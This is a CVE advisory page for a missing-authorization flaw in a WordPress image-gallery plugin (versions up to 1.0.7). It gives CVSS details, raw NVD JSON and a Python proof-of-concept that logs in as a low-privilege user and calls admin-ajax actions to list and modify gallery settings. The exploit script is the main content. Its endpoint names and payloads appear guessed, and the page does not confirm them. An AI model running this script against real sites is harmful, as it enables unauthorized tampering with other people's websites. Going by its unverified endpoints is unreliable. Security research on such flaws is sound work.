Security Vulnerability Report
中文
CVE-2025-49394 CVSS 7.1 HIGH

CVE-2025-49394

Published: 2025-11-06 16:15:54
Last Modified: 2026-04-27 20:16:15

Description

Missing Authorization vulnerability in bPlugins Image Gallery block – Create and display photo gallery/photo album. 3d-image-gallery allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Image Gallery block – Create and display photo gallery/photo album.: from n/a through <= 1.0.7.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

No configuration data available.

3d-image-gallery (Image Gallery block) <= 1.0.7
WordPress Image Gallery plugin <= 1.0.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-49394 PoC - WordPress Image Gallery Plugin Authorization Bypass # Author: Security Researcher # Target: WordPress with 3d-image-gallery plugin <= 1.0.7 import requests import sys from urllib.parse import urljoin def exploit_cve_2025_49394(target_url, username, password): """ Exploit missing authorization vulnerability in Image Gallery plugin. This PoC demonstrates how a low-privileged user can access admin functions. """ session = requests.Session() # Step 1: Login to WordPress with low-privilege account login_url = urljoin(target_url, 'wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data, cookies={'wordpress_test_cookie': 'WP+Cookie+check'}) if 'wordpress_logged_in' not in session.cookies.get_dict(): print('[-] Login failed!') return False print('[+] Successfully logged in as low-privilege user') # Step 2: Exploit missing authorization - Access gallery admin functions # These endpoints should require admin capabilities but don't # Example 1: Get all gallery data (unauthorized access) admin_ajax_url = urljoin(target_url, 'wp-admin/admin-ajax.php') # Gallery listing endpoint payload = { 'action': 'image_gallery_get_galleries', 'nonce': '' # Some versions may not require nonce or have weak checks } resp = session.post(admin_ajax_url, data=payload) if resp.status_code == 200: print('[+] Successfully accessed gallery admin function without proper authorization') print(f'[+] Response: {resp.text[:500]}') # Example 2: Try to modify gallery settings modify_payload = { 'action': 'image_gallery_save_settings', 'settings': 'malicious_settings', 'gallery_id': '1' } resp = session.post(admin_ajax_url, data=modify_payload) if resp.status_code == 200 and 'success' in resp.text.lower(): print('[+] Successfully modified gallery settings (unauthorized)') return True if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') print('Example: python exploit.py http://target.com subscriber password123') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_49394(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49394", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:53.720", "lastModified": "2026-04-27T20:16:15.133", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in bPlugins Image Gallery block – Create and display photo gallery/photo album. 3d-image-gallery allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Image Gallery block – Create and display photo gallery/photo album.: from n/a through <= 1.0.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/3d-image-gallery/vulnerability/wordpress-image-gallery-block-create-and-display-photo-gallery-photo-album-plugin-1-0-7-broken-authentication-vulnerability?_s_id=cve", "source": "[email protected]"}]}}